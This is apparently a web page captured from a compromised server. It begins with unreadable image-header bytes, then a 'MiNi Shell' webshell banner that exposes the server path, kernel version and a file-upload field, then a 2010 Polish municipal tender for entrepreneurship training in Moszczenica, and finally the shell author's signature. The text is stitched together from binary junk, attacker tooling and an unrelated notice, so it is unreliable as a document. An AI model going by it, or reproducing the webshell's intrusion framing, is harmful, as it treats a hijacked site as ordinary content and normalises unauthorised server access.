JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20100409/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20100409/99982-N-2010.html

<p class="kh_header"><b>Moszczenica: Realizacja szkolenia dla 45 osób bezrobotnych w zakresie ABC przedsiębiorczości</b><br>
<b>Numer ogłoszenia: 99982 - 2010; data zamieszczenia: 09.04.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Moszczenica , ul. Kosowska 1, 97-310 Moszczenica, woj. łódzkie, tel. 044 6169570, faks 044 6169625.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Realizacja szkolenia dla 45 osób bezrobotnych w zakresie ABC przedsiębiorczości.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest realizacja szkolenia dla 45 osób bezrobotnych w zakresie ABC przedsiębiorczości
I.   Zakres tematyczny szkolenia:
 	
Moduł I: Jak z sukcesem uruchomić i prowadzić własną firmę

Cel:
Przybliżenie uczestnikom szkolenia wiedzy dotyczącej szeroko pojętej przedsiębiorczości a w szczególności podstaw prowadzenia własnej działalności gospodarczej przy wykorzystaniu merytorycznej wiedzy z zakresu marketingu, analizy otoczenia działalności, zasad rozliczeń podatkowych oraz ewidencji księgowej.

Czas trwania: 30 godzin.

Treści programowe:
1.	Pojęcie działalności gospodarczej w rozumieniu ustawy o działalności gospodarczej.

2.	Formy prawne działalności gospodarczej.

3. Obowiązki formalno prawne przy zakładaniu firmy:
-	rejestracja działalności gospodarczej,
-	rejestracja w Urzędzie Skarbowym,
-	zgłoszenie obowiązku ubezpieczeniowego w ZUS,
-	pieczątka firmowa oraz założenie konta bankowego,
-	wypełnienie wniosku o REGON,
-	pozostałe obowiązki formalno prawne.

4. Wybór formy opodatkowania:
-	podatek dochodowy od osób fizycznych ( pojęcie dochodu, źródła przychodu, zwolnienia przedmiotowe, koszty uzyskania przychodu, podstawa obliczania podatku i jego pobór ),
-	podatek od towarów i usług oraz podatek akcyzowy ( przedmiot opodatkowania, podatnicy VAT, Ryczałt, zwolnienia od podatku, deklaracje podatkowe, zapłata podatku, podatek akcyzowy ),
-	podatki i opłaty lokalne ( rodzaje opłat lokalnych, zobowiązania wobec gminy z tytułu prowadzenia działalności gospodarczej ).

5. Zasady prowadzenia księgowości:
-	warunki oraz interpretacja przepisów dotyczących prowadzenia podatkowej księgi przychodów i rozchodów,
-	ewidencja wyposażenia i środków trwałych,
-	ewidencja przychodów oraz ponoszonych kosztów i wydatków,
-	naliczanie i odprowadzanie podatku zryczałtowanego, gdy jest się podatnikiem VAT,
-	zasady wystawiania faktur,
-	przeprowadzanie remanentu.

6. Ubezpieczenie firmy i jej działalności oraz ubezpieczenia zdrowotne i społeczne:
-	rodzaje ubezpieczeń,
-	wysokość i podstawa wymiaru składek oraz wypełnianie dokumentacji ZUS,
-	zgłoszenie pracowników do ubezpieczenia i rozliczanie składek,
-	ubezpieczenia społeczne osób prowadzących działalność gospodarczą.

7. Zewnętrzne źródła finansowania działalności gospodarczej ( kredyty bankowe, kredyty z PUP, środki UE, leasing ).

8. Podstawy marketingu, reklamy i sposoby promowania własnej działalności gospodarczej.

Moduł II: Biznes plan filarem dobrze funkcjonującej firmy.

Cel:
Wprowadzenie uczestników szkolenia w podstawowe zagadnienia związane z realizacja przedsięwzięć gospodarczych, oceną możliwości ich realizacji w odniesieniu do rynku oraz ocena własnych możliwości finansowych i ocena ryzyka.

Czas trwania: 20 godzin.

Treści programowe:
1.  Budowa i układ:
-	główne zadania biznes planu,
-	analiza i wybór strategii działania,
-	oszacowanie ryzyka,
-	ocena rynku,
-	potencjalni partnerzy i konkurencja.

2. Konstruowanie biznes planu:
-	analiza i oszacowanie przychodów i kosztów,
-	ocena mocnych i słabych stron,
-	koncepcja rozwoju.

3. Produkty i usługi:
-	analiza zapotrzebowania na dany produkt lub usługę,
-	opracowanie strategii marketingowej własnej działalności gospodarczej,
-	ocena i analiza konkurencji.

4.Samodzielne wypełnianie wniosku o dofinansowanie przedsięwzięcia.

Moduł III: Etyka w biznesie jako sposób budowania trwałych relacji z klientem

Cel:
Zapoznanie uczestników szkolenia z ważną rolą jaką odgrywa proces komunikacji w życiu zawodowym oraz z czynnikami na niego wpływającymi, a także zwiększenie zdolności wśród uczestników szkolenia do bardziej zrozumiałego prezentowania swoich opinii, przekonań i myśli.

Czas trwania: 10 godzin

Treści programowe:
1.	Sztuka stawiania skutecznych pytań oraz umiejętność budowania jasnych i zwięzłych komunikatów.

2.	Metody budowania satysfakcjonujących i długofalowych relacji z klientem.

3.	Zdolność radzenia sobie z emocjami jako czynnik budowania dobrej atmosfery i relacji w środowisku pracy.

4.	Umiejętność znajdowania konstruktywnych rozwiązań podczas konfliktów.

5.	Techniki asertywnego reagowania na różne formy krytyki.

6.	Techniki, zasady, strategie i chwyty rządzące procesem negocjacji oraz sposoby rozwiązywania sytuacji trudnych.


Moduł IV: Budowanie dobrego wizerunku firmy - drogą do sukcesu

Cel:
Dobry wizerunek firmy to podstawa i warunek jej sukcesu biznesowego. Celem szkolenia jest przekazanie praktycznych umiejętności dotyczących budowania dobrego wizerunku firmy, efektywnego public relations oraz promowanie postaw przedsiębiorczości.

Czas trwania: 10 godzin.

Treści programowe:
1.	Czym jest wizerunek , reputacja i tożsamość firmy - wprowadzenie w tematykę szkolenia.

2.	Czynniki tworzące wizerunek  i tożsamość firmy na rynku:
-	system identyfikacji wizualnej firmy,
-	front i zaplecze firmy - na co klienci zwracają uwagę kontaktując się z naszą firmą,
-	zespół narzędzi służących publicznej prezentacji firmy i jej oferty,
-	system zachowań pracowników firmy  - jak powinny zachowywać się osoby w pierwszym kontakcie z klientem,
-	metody promowania i utrwalania wizerunku firmy.

3.	Czynniki tworzące przewagę konkurencyjną firmy.

4.	Wykorzystanie public relations do budowania wizerunku firmy.

5.	Niszczyciele dobrego wizerunku i reputacji firmy.

6.	Sytuacja kryzysowa w firmie:
-	jak rozpoznać nadciągający kryzys oraz jak się na niego przygotować,
-	budowanie relacji  z mediami i otoczeniem społecznym w kryzysie,
-	public relations dzień po kryzysie.

Moduł V: Skuteczne gospodarowanie sobą w czasie

Cel:
Poprawa organizacji i planowania pracy poprzez umiejętność ustalania priorytetów,
celów krótko - i długoterminowych oraz analiza i poznanie sposobów przeciwdziałania złodziejom czasu.

Czas trwania: 10 godzin.

Treści programowe:
1.	Czas jako zasób - wprowadzenie w tematykę zarządzania czasem.
2.	Poznanie własnego kapitału energii i rytmu pracy w zakresie zarządzania czasem.
3.	Narzędzia ułatwiające zarządzanie czasem - czyli praktyczne wykorzystanie najważniejszych zasad inwestowania swojego czasu.
4.	Hierarchizacja celów przy określeniu kolejności i struktury zadań - umiejętność ustalania priorytetów według ich wartości (ważność a pilność).
5.	Samodyscyplina w zarządzaniu czasem.
6.	Identyfikacja podstawowych problemów i trudności w zarządzaniu czasem
7.	Konflikty celów (odwlekanie, lęk przed ryzykiem i odpowiedzialnością, brak jasnej wizji).
8.	Skuteczny harmonogram dnia oraz prawidłowa organizacja miejsca pracy

Moduł VI: Podstawy technik informatycznych w użytkowaniu komputera.

Cel:
Przygotowanie uczestników do znajomości obsługi komputera w zakresie pojęć technologii informatycznej oraz praktycznych umiejętności wykorzystania komputera w zakresie podstawowym z wybranych modułów Europejskiego Certyfikatu Umiejętności Komputerowych

Czas trwania: 40 godzin.

Treści programowe:
1.	Arkusze kalkulacyjne - podobne do zwykłych formularzy rachunkowych, umożliwiają szybkie wykonywanie obliczeń. Używane są do przygotowania budżetu, opracowania prognoz, sporządzania wykresów i raportów finansowych:
-	praca z aplikacją ( pierwsze kroki z arkuszem kalkulacyjnym, ustawienia programu ),
-	komórki ( wprowadzanie danych, zaznaczanie komórek, wiersze i kolumny, edycja danych, kopiowanie, przenoszenie i usuwanie, szukanie i zamiana ),
-	arkusze ( praca z arkuszami w skoroszycie ),
-	formuły i funkcje ( formuły arytmetyczne, odwołania do komórek, funkcje ),
-	formatowanie ( liczby / daty, zawartość komórki, wyrównanie / obramowanie komórek ),
-	wykresy i diagramy ( tworzenie wykresów i diagramów ),
-	formatowanie arkusza ( ustawienia arkusza, przygotowanie do wydruku, drukowanie ).

2.	Usługi w sieciach informatycznych - użycie ogólnoświatowej sieci komputerowej do pozyskiwania informacji i szybkiego komunikowania się z innymi użytkownikami komputerów:
-	internet ( podstawowe pojęcia i zasady, bezpieczeństwo w sieci Web, pierwsze  kroki w pracy z przeglądarką, ustawienia programu ),
-	nawigacja między stronami WWW ( dostęp do stron WWW, zakładki, organizacja zakładek ),
-	wyszukiwanie informacji ( użycie wyszukiwarki, przygotowanie stron WWW do wydruku, drukowanie ),
-	poczta elektroniczna ( podstawy poczty elektronicznej, względy bezpieczeństwa, program pocztowy - podstawy, ustawienia programu pocztowego ),
-	listy ( odczytywanie poczty, odpowiadanie na listy, wysyłanie listów, kopiowanie, przenoszenie, usuwanie),
-	zarządzanie skrzynką pocztową ( sposoby zarządzania, książka adresowa, zarządzanie listami odebranymi, przygotowanie do wydruku listu ).

II.  Każdy uczestnik ma zapewniony dostęp do samodzielnego stanowiska pracy w całym procesie nauczania.
III.  Liczba osób objętych szkoleniem  -  45 ( 3x15)
IV. Czas trwania jednej edycji szkolenia:  do 4 tygodni;
	 ilość godzin na jednego uczestnika -120 
V. Przewidywany termin organizacji szkolenia: po dniu podpisania umowy, kwiecień - maj 2010 (planowany termin realizacji: kwiecień - maj 2010, sierpień - wrzesień 2010, grudzień 2010 - styczeń 2011).
VI. Miejsce szkolenia: Moszczenica, Gminna Biblioteka Publiczna w Moszczenicy, ul Dworcowa 16a, 97-310 Moszczenica, koszt wynajęcia sali - 50 zł brutto za jedną godzinę,.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający dopuszcza możliwość udzielenia zamówienia uzupełniającego, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub art. 134 ust. 6 pkt 3 i 4. - w zakresie zwiększenia liczby uczestników poszczególnych edycji szkoleń</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 80.57.00.00-0.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 10.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie żąda od Wykonawców wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełniania warunku będzie dokonywana na podstawie załączonego do oferty  aktualnego zaświadczenia o wpisie do rejestru instytucji szkoleniowych prowadzonego przez właściwy miejscowo Wojewódzki Urząd Pracy .
Warunek uznany będzie za spełniony, jeżeli Wykonawca przedłoży wskazane dokumenty.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełniania warunku będzie dokonana na podstawie załączonego do oferty wykazu wykonanych usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert w przedmiotowym postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, odpowiadających swoją tematyką i wartością usłudze stanowiącej przedmiot zamówienia, z podaniem ich wartości, ilości przeszkolonych osób, dat wykonania oraz odbiorców. Warunek ten zostanie uznany za spełniony, jeżeli wykonawca wykaże co najmniej 2 szkolenia w zakresie zgodnym z kierunkiem zamawianego szkolenia w wymienionym okresie czasu.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełniania warunku będzie dokonana na podstawie załączonej do oferty:
- zapewnienia dotyczącego udostępnienia samodzielnego stanowiska komputerowego dla każdego uczestnika szkolenia, wykorzystywane w całym procesie nauczania. W przypadku Wykonawcy dysponującego sprzętem nie będącym jego własnością, należy przedstawić pisemne zobowiązanie podmiotu udostępniającego ten sprzęt.
Warunek ten zostanie uznany za spełniony, jeżeli Wykonawca wykaże dysponowanie odpowiednim potencjałem technicznym opisanym w niniejszym punkcie.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełniania warunku będzie dokonana na podstawie załączonego do oferty imiennego wykazu osób prowadzących szkolenie, zawierającego informację na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia oraz zakresu wykonywanych przez nie zadań w realizacji przedmiotu zamówienia. Wykonawca winien również przedstawić informację o podstawie do dysponowania tymi osobami.
Warunek ten zostanie uznany za spełniony, jeżeli Wykonawca wykaże dysponowanie osobami warunków odpowiednich kwalifikacjach.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków  lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenie zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">aktualną informację z Krajowego Rejestru Karnego w zakresie określonym w art. 24 ust. 1 pkt 4-8 ustawy, wystawioną nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">aktualną informację z Krajowego Rejestru Karnego w zakresie określonym w art. 24 ust. 1 pkt 9 ustawy, wystawioną nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">nie orzeczono wobec niego zakazu ubiegania się o zamówienie - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>- Aktualne zaświadczenie o wpisie do rejestru instytucji szkoleniowych prowadzonego przez właściwy miejscowo Wojewódzki Urząd Pracy.
- Informacja o miejscu prowadzenia zajęć teoretycznych i praktycznych. W przypadku realizacji szkolenia w miejscu nie będącym własnością Wykonawcy, należy przedstawić pisemne zobowiązanie podmiotu udostępniającego lokal niezbędny do wykonania zamówienia (oświadczenie lub umowa najmu)
- Zapewnienie dotyczące udostępnienia samodzielnego stanowiska komputerowego dla każdego uczestnika szkolenia, wykorzystywanego w całym procesie nauczania.   W przypadku Wykonawcy dysponującego sprzętem nie będącym jego własnością, należy przedstawić pisemne zobowiązanie podmiotu udostępniającego ten sprzęt.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p><ul class="kh_indent_1">
<li>1 - Cena - 60</li>
<li>2 - Posiadanie certyfikatu jakości usług lub dokumentów równoważnych - 20</li>
<li>3 - Doświadczenie Wykonawcy w realizacji szkoleń z  zakresu odpowiadającego przedmiotowi zamówienia - 20</li>
</ul>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zakazuje się istotnych zmian postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru Wykonawcy, chyba że konieczność wprowadzenia uzasadnionych zmian (np. zmiana terminu wykonania zamówienia, zmiana miejsca wykonania zamówienia, zmiana kadry dydaktycznej itp.) wynika z okoliczności, których nie można było przewidzieć w chwili zawarcia umowy. Wprowadzone zmiany nie mogą działać na niekorzyść Zamawiającego i m.in. prowadzić do wyższej ceny za szkolenie, niż wynika to z przedstawionej oferty w postępowaniu przetargowym. 

W przypadku wystąpienia uzasadnionych zmian, Wykonawca zapewni realizację zamówienia na poziomie nie niższym niż wynikało to z treści oferty. Proponowane zmiany wymagają zgłoszenia w formie pisemnej, na 7 dni przed ich ewentualnym wprowadzeniem i podlegają akceptacji przez Zamawiającego.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.moszczenica.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Gminy w Moszczenicy, ul. Kosowska 1, 97-310 Moszczenica.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 19.04.2010 godzina 13:00, miejsce: Urząd Gminy w Moszczenicy, ul. Kosowska 1, 97-310 Moszczenica, pok. 13.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> do 19.05.2010.</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Projekt jest współfinansowany ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com